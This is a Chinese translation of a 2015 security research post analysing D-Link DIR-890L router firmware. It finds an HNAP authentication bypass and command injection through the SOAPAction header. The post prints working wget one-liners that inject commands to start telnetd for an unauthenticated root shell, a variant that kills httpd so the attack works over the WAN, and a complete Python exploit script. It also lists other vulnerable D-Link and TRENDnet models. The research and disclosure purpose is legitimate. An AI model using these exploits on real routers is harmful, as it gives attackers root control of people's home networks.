# Hacking the D-Link DIR-890L
Author: 乌云历史资料库 (@wooyun_archive)
Published: 2015-04-13T01:36:00Z
Canonical: https://wepostx.com/topics/783
> 乌云历史资料归档
>
> **原始作者：** ccSec
> **原始编号：** superkieran-wooyundrops:534
> **原始发布时间：** 2015-04-13 09:36
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**
---
# 0x00 简介
from:http://www.devttys0.com/2015/04/hacking-the-d-link-dir-890l/
之前的6个月，D-Link都不断使坏，把我整的晕头转向。今天我想找些乐子，登陆他们的网站，结果就看到了惨不忍睹的一幕：
D-Link’s $300 DIR-890L router
这个路由器上运行的固件有[很多](https://github.com/zcutlip/exploit-poc/tree/master/dlink/dir-815-a1/hedwig_cgi_httpcookie)[bug](http://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html)，而最变态的地方在于，它居然跟D-link多年来在各种路由器上使用的固件一模一样。[点我看小视频](https://www.youtube.com/watch?v=WQZqJ_-WAO8)
# 0x01 开始分析
按照惯例，我们先获取[最新版本](http://ftp://ftp2.dlink.com/PRODUCTS/DIR-890L/REVA/DIR-890L_REVA_FIRMWARE_1.03.B07.ZIP)的固件，然后使用[binwalk](https://github.com/devttys0/binwalk)来分析它，可以看到以下的信息：
```text
DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/7" 116 0x74LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4905376 bytes 1835124 0x1C0074PackImg section delimiter tag, little endian size: 6345472 bytes; big endian size: 13852672 bytes 1835156 0x1C0094Squashfs filesystem, little endian, version 4.0, compression:xz, size: 13852268 bytes, 2566 inodes, blocksize: 131072 bytes, created: 2015-02-11 09:18:37
```
貌似这是个非常标准的linux固件镜像。只要你在过去的几年里分析过任何一个D-Link的固件，没准就会知道以下的目录结构：
```text
#!bash $ ls squashfs-root bin dev etc home htdocs include lib mnt mydlink proc sbin sys tmp usr var www
```
和HTTP/UPnP/HNAP有关的所有文件都存放在htdocs目录下。其中cgibin文件最有意思，这是一个ARM ELF格式的二进制文件，将被WEB服务器执行，所有CGI,UPnP和HNAP的功能都通过软连接指向这个程序。
```text
#!bash $ ls -l htdocs/web/*.cgi lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/captcha.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/conntrack.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlapn.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dlcfg.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/dldongle.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwup.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/fwupload.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/hedwig.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/pigwidgeon.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/seama.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/service.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication.cgi -> /htdocs/cgibin lrwxrwxrwx 1 eve eve 14 Mar 31 22:46 htdocs/web/webfa_authentication_logout.cgi -> /htdocs/cgibin
```
这玩意错综复杂，不过没关系，有了字符串就可以找到每个功能对应的函数了。
程序首先会把argv[0]参数和软连接的名称作比较，来决定要执行什么样的动作。（argv[0]是由软链接的名称来决定的，比如WEB服务器执行htdocs/web/captcha.cgi -> /htdocs/cgibin的话，cgibin获得到的argv[0]就会包含catpcha.cgi，那么程序就可以跳到catpcha的功能函数当中执行）
```text
“Staircase” code graph, typical of if-else statements
```
每个软连接名称都是通过strcmp函数来比较的：
```text
Function handlers for various symlinks
```
这样一来， 我们很容易就可以通过符号链接的名称来找到对应的函数功能代码，然后给它重新起个合适的名字：
```text
Renamed symlink function handlers
```
既然发现了这些函数，那我们就开始找bug吧！
其他的一些D-Link设备，同样也运行这个固件，他们的HTTP和UPnP接口已经被发现存在漏洞。然而，HNAP接口（存在于cgibin中的hnap_main函数）似乎一直被忽视。
[HNAP](http://www.google.com/patents/US7827252)(家庭网络管理协议)是一个基于SOAP的协议，类似UPnP，它广泛应用于D-Link的"EZ"安装模块，用来对路由器进行初始化配置。然而和UPnP不同的是，除了GetDeviceInfo(基本没用的函数)之外，所有的HNAP功能，都需要HTTP基础认证：
```text
POST /HNAP1 HTTP/1.1 Host: 192.168.0.1 Authorization: Basic YWMEHZY+ Content-Type: text/xml; charset=utf-8 Content-Length: length SOAPAction: "http://purenetworks.com/HNAP1/AddPortMapping" foobar 192.168.0.100 TCP 1234 1234
```
SOAPAction头在HNAP请求中特别重要，因为它指定了HNAP所要进行的操作。（以上这个请求执行的是AddPortMapping这个功能）
由于web服务器将cgibin作为CGI来执行，所以hnap_main函数可以通过环境变量访问到HNAP的请求数据，比如SOAPAction头：
```text
SOAPAction = getenv(“HTTP_SOAPACTION”);
```
在接近函数末尾的部分，程序使用了sprintf函数动态构造一条shell命令，这条命令将被传入system函数执行：
```text
sprintf(command, “sh %s%s.sh > /dev/console”, “/var/run/”, SOAPAction);
```
很明显，hnap_main使用了请求头中的SOAPAction头作为系统命令的一部分！如果SOAPAction头没有被过滤，而且进入的这段函数不需要认证，那么这很有可能是一个命令注入的bug。
回到hnap_main函数的开头，程序首先检查SOAPAction头是否为http://purenetworks.com/HNAP1/GetDeviceSettings，如果是，则跳过认证。这是我们预料之中的，并且我们已经确定，GetDeviceSettings功能是不需要认证的。
```text
if(strstr(SOAPAction, “http://purenetworks.com/HNAP1/GetDeviceSettings”) != NULL)
```
然而，可以注意到，strstr被用于字符串检查，这就表明了，SOAPAction头只要包含http://purenetworks.com/HNAP1/GetDeviceSettings字符串，就可以通过检查，绕过认证。
所以，如果SOAPAction头包含字符串http://purenetworks.com/HNAP1/GetDeviceSettings，代码将会从请求头中解析出Action的名称（例如GetDeviceSettings）并且会移除字符串最后的双引号。
```text
SOAPAction = strrchr(SOAPAction, ‘/’);
```
上图代码会解析出Action名（类似GetDeviceSettings），它将被带入sprintf函数，构造出被system执行的命令。
以下的C语言代码可以帮助大家进一步了解程序中的逻辑错误：
```text
#!c /* Grab a pointer to the SOAPAction header */ SOAPAction = getenv("HTTP_SOAPACTION"); /* Skip authentication if the SOAPAction header contains "http://purenetworks.com/HNAP1/GetDeviceSettings" */ if(strstr(SOAPAction, "http://purenetworks.com/HNAP1/GetDeviceSettings") == NULL) { /* do auth check */ } /* Do a reverse search for the last forward slash in the SOAPAction header */ SOAPAction = strrchr(SOAPAction, '/'); if(SOAPAction != NULL) { /* Point the SOAPAction pointer one byte beyond the last forward slash */ SOAPAction += 1; /* Get rid of any trailing double quotes */ if(SOAPAction[strlen(SOAPAction)-1] == '"') { SOAPAction[strlen(SOAPAction)-1] = '\0'; } } else { goto failure_condition; } /* Build the command using the specified SOAPAction string and execute it */ sprintf(command, "sh %s%s.sh > /dev/console", "/var/run/", SOAPAction); system(command);
```
以下是这个漏洞产生的两个重要原因：
1.如果SOAPAction头包含http://purenetworks.com/HNAP1/GetDeviceSettings字符串，那么就不需要认证。
2.程序会将SOAPAction头中最后一个/后的字符串被带入sprintf构造shell命令，并且调用system函数进行执行。
因此，我们很容易就可以构造出一个SOAPAction报头，既可以绕过认证，又可以将任意命令带入系统执行：
```text
SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`reboot`"
```
将reboot命令替换成telnetd，就可以开启路由器的telnet服务，获得一个无需认证的root权限shell：
```text
#!bash $ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`telnetd`"' http://192.168.0.1/HNAP1 $ telnet 192.168.0.1 Trying 192.168.0.1... Connected to 192.168.0.1. Escape character is '^]'. BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh) Enter 'help' for a list of built-in commands.
```
如果开启了远程管理功能，HNAP请求将向WAN开放，这就使远程利用成为可能。当然，路由器的防火墙将阻断来自WAN的telnet连接。有一个简单的解决办法，就是结束HTTP服务器进程，将telnet服务器的端口设置成和HTTP服务器相同：
```text
#!bash $ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`killall httpd; telnetd -p 8080`"' http://1.2.3.4:8080/HNAP1 $ telnet 1.2.3.4 8080 Trying 1.2.3.4... Connected to 1.2.3.4. Escape character is '^]'. BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh) Enter 'help' for a list of built-in commands.
```
wget请求将会被挂起，因为cgibin会等待telnetd返回。下面是用Python写的一个利用程序：
```text
#!python #!/usr/bin/env python import sys import urllib2 import httplib try: ip_port = sys.argv[1].split(':') ip = ip_port[0] if len(ip_port) == 2: port = ip_port[1] elif len(ip_port) == 1: port = "80" else: raise IndexError except IndexError: print "Usage: %s " % sys.argv[0] sys.exit(1) url = "http://%s:%s/HNAP1" % (ip, port) # NOTE: If exploiting from the LAN, telnetd can be started on # any port; killing the http server and re-using its port # is not necessary. # # Killing off all hung hnap processes ensures that we can # re-start httpd later. command = "killall httpd; killall hnap; telnetd -p %s" % port headers = { "SOAPAction" : '"http://purenetworks.com/HNAP1/GetDeviceSettings/`%s`"' % command, } req = urllib2.Request(url, None, headers) try: urllib2.urlopen(req) raise Exception("Unexpected response") except httplib.BadStatusLine: print "Exploit sent, try telnetting to %s:%s!" % (ip, port) print "To dump all system settings, run (no quotes): 'xmldbc -d /var/config.xml; cat /var/config.xml'" sys.exit(0) except Exception: print "Received an unexpected response from the server; exploit probably failed. :("
```
# 0x02 结语
我已经在v1.00和v1.03版本的固件上进行了测试（v1.03版本的固件为截至目前的最新版本），都存在漏洞。那么其他设备是否也存在同样的漏洞呢？
分析所有设备固件很乏味，所以我将这个漏洞交给[Centrifuge团队](http://tacnetsol.com/)，这个团队拥有一套自动分析系统。他们发现至少以下这些设备存在漏洞：
- DAP-1522 revB
- DAP-1650 revB
- DIR-880L
- DIR-865L
- DIR-860L revA
- DIR-860L revB
- DIR-815 revB
- DIR-300 revB
- DIR-600 revB
- DIR-645
- TEW-751DR
- TEW-733GR
据我所知，HNAP协议在任何设备上都无法被禁用。
更新：
这个漏洞似乎在今年早些时候被Samuel Huntly[发现](http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10051)，但是只在DIR-645被报告和修复。这个补丁看起来很傻比，所以我们还是期待后续吧。
## Replies